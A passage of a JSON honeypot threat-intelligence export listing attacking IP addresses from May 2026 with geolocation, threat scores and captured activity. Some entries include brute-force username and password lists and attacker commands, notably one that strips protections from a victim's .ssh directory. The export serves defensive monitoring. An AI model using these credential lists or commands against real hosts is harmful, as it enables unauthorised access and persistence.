      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T02:21:25.810000+00:00",
        "last_seen_30d": "2026-05-31T02:51:47.004000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "45.148.10.183": {
      "attack_count": 77,
      "first_seen": "2026-05-03T11:02:37.013Z",
      "last_seen": "2026-05-03T22:16:23.469Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "bitcoin",
        "ethereum",
        "exchange",
        "root",
        "trader",
        "trading",
        "ubuntu"
      ],
      "passwords_attempted": [
        "trader",
        "bitcoin",
        "ethereum",
        "exchange",
        "trading"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:59:35.080000+00:00",
        "last_seen_30d": "2026-05-03T22:17:33.498000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 77,
        "Suricata": 40
      }
    },
    "35.187.22.79": {
      "attack_count": 72,
      "first_seen": "2026-05-06T09:04:17.873Z",
      "last_seen": "2026-05-06T09:05:12.260Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8614",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:04:17.873000+00:00",
        "last_seen_30d": "2026-05-06T09:06:22.039000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "34.38.11.204": {
      "attack_count": 70,
      "first_seen": "2026-05-29T07:51:19.535Z",
      "last_seen": "2026-05-29T07:51:57.757Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 723",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:51:19.535000+00:00",
        "last_seen_30d": "2026-05-29T07:53:07.884000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 42
      }
    },
    "5.62.139.23": {
      "attack_count": 56,
      "first_seen": "2026-05-24T20:22:00.966Z",
      "last_seen": "2026-05-24T20:48:36.094Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 198589,
      "as_org": "Al-Jazeera Al-Arabiya Company for Communication and Internet LTD",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:22:00.966000+00:00",
        "last_seen_30d": "2026-05-24T20:49:43.748000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 36
      }
    },
    "36.150.236.49": {
      "attack_count": 51,
      "first_seen": "2026-05-23T17:24:38.728Z",
      "last_seen": "2026-05-23T18:09:35.163Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "uftp",
        "aroot",
        "ftptest",
        "sonar"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "Aa112211",
        "Admin@12345",
        "aroot",
        "ftptest@123",
        "nPSpP4PBW0",
        "sonar",
        "test1234!",
        "uftp"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T17:24:38.728000+00:00",
        "last_seen_30d": "2026-05-23T18:19:44.059000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 51,
        "Suricata": 27
      }
    },
    "124.29.226.234": {
      "attack_count": 50,
      "first_seen": "2026-05-08T01:30:23.433Z",
      "last_seen": "2026-05-08T01:35:54.893Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:30:23.433000+00:00",
        "last_seen_30d": "2026-05-08T01:37:01.084000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "175.107.228.128": {
      "attack_count": 50,
      "first_seen": "2026-05-25T14:21:14.227Z",
      "last_seen": "2026-05-25T14:26:52.677Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T14:21:14.227000+00:00",
        "last_seen_30d": "2026-05-25T14:27:57.133000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.174.62": {
      "attack_count": 48,
      "first_seen": "2026-05-27T19:21:18.622Z",
      "last_seen": "2026-05-27T19:26:30.079Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T19:21:18.622000+00:00",
        "last_seen_30d": "2026-05-27T19:27:33.136000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "45.148.10.147": {
      "attack_count": 44,
      "first_seen": "2026-05-08T16:04:00.984Z",
      "last_seen": "2026-05-30T07:05:47.897Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 48.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:04:00.984000+00:00",
        "last_seen_30d": "2026-05-30T07:06:54.704000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "195.201.140.251": {
      "attack_count": 42,
      "first_seen": "2026-05-12T21:03:46.206Z",
      "last_seen": "2026-05-31T00:34:51.775Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T21:03:46.206000+00:00",
        "last_seen_30d": "2026-05-31T00:35:59.484000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "216.59.16.45": {
      "attack_count": 36,
      "first_seen": "2026-05-18T08:28:25.288Z",
      "last_seen": "2026-05-31T05:03:26.488Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piedmont",
      "asn": 15085,
      "as_org": "Immedion, LLC",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:28:25.288000+00:00",
        "last_seen_30d": "2026-05-31T05:04:35.503000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "219.157.16.143": {
      "attack_count": 36,
      "first_seen": "2026-05-15T11:39:34.888Z",
      "last_seen": "2026-05-15T11:43:28.299Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:39:34.888000+00:00",
        "last_seen_30d": "2026-05-15T11:44:32.369000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "31.57.216.43": {
      "attack_count": 28,
      "first_seen": "2026-05-06T21:53:32.007Z",
      "last_seen": "2026-05-13T02:32:41.564Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "support",
        "AdminGPON",
        "root"
      ],
      "passwords_attempted": [
        "support",
        "ALC#FGU",
        "Abcd1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:38:33.991000+00:00",
        "last_seen_30d": "2026-05-13T02:33:49.041000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 17
      }
    },
    "80.94.95.116": {
      "attack_count": 28,
      "first_seen": "2026-05-30T00:49:39.164Z",
      "last_seen": "2026-05-31T03:29:12.899Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "backups",
        "support",
        "user"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "supportAtlanta",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.request",
        "cowrie.direct-tcpip.data",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T00:49:39.164000+00:00",
        "last_seen_30d": "2026-05-31T03:30:16.143000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "92.41.215.23": {
      "attack_count": 24,
      "first_seen": "2026-05-21T09:39:54.694Z",
      "last_seen": "2026-05-21T18:33:44.309Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:39:54.694000+00:00",
        "last_seen_30d": "2026-05-21T18:34:54.179000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "207.154.201.80": {
      "attack_count": 21,
      "first_seen": "2026-05-22T10:01:16.620Z",
      "last_seen": "2026-05-22T10:01:18.228Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /v2/_catalog HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.7,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 22,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T12:35:41+00:00",
        "last_seen_30d": "2026-05-23T23:32:36.971000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 149,
        "Honeytrap": 59,
        "Cowrie": 21,
        "Ipphoney": 3,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "120.48.155.60": {
      "attack_count": 20,
      "first_seen": "2026-05-26T09:03:58.843Z",
      "last_seen": "2026-05-26T09:04:12.843Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "Aa112211.",
        "nPSpP4PBW0"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T09:03:58.843000+00:00",
        "last_seen_30d": "2026-05-26T09:05:20.481000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "192.3.52.21": {
      "attack_count": 18,
      "first_seen": "2026-05-14T23:25:38.522Z",
      "last_seen": "2026-05-17T21:10:19.142Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:25:38.522000+00:00",
        "last_seen_30d": "2026-05-17T21:11:25.833000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "206.81.23.7": {
      "attack_count": 16,
      "first_seen": "2026-05-19T11:57:41.423Z",
      "last_seen": "2026-05-22T09:17:28.041Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 58.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.6,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 22,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T12:35:41+00:00",
        "last_seen_30d": "2026-05-23T04:03:12.617000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 39,
        "Cowrie": 16,
        "Dionaea": 1
      }
    },
    "94.26.106.27": {
      "attack_count": 14,
      "first_seen": "2026-05-06T21:57:27.343Z",
      "last_seen": "2026-05-14T21:07:01.980Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "ftppassword"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T21:57:27.343000+00:00",
        "last_seen_30d": "2026-05-14T21:08:05.903000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "155.254.25.75": {
      "attack_count": 12,
      "first_seen": "2026-05-09T02:10:52.453Z",
      "last_seen": "2026-05-12T03:02:21.222Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Charlotte",
      "asn": 397373,
      "as_org": "H4Y Technologies LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:10:52.453000+00:00",
        "last_seen_30d": "2026-05-12T03:03:24.471000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "185.255.100.202": {
      "attack_count": 12,
      "first_seen": "2026-05-03T03:16:27.351Z",
      "last_seen": "2026-05-08T03:04:30.190Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:16:27.351000+00:00",
        "last_seen_30d": "2026-05-08T03:05:37.127000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "115.50.251.14": {
      "attack_count": 10,
      "first_seen": "2026-05-09T22:55:23.009Z",
      "last_seen": "2026-05-09T22:56:27.462Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:55:23.009000+00:00",
        "last_seen_30d": "2026-05-09T22:57:33.369000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "159.75.149.244": {
      "attack_count": 10,
      "first_seen": "2026-05-28T19:09:12.788Z",
      "last_seen": "2026-05-28T19:09:21.775Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "PqMWFRNPhA"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T19:08:06.624000+00:00",
        "last_seen_30d": "2026-05-28T19:10:25.978000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "187.70.176.7": {
      "attack_count": 10,
      "first_seen": "2026-05-20T18:36:20.129Z",
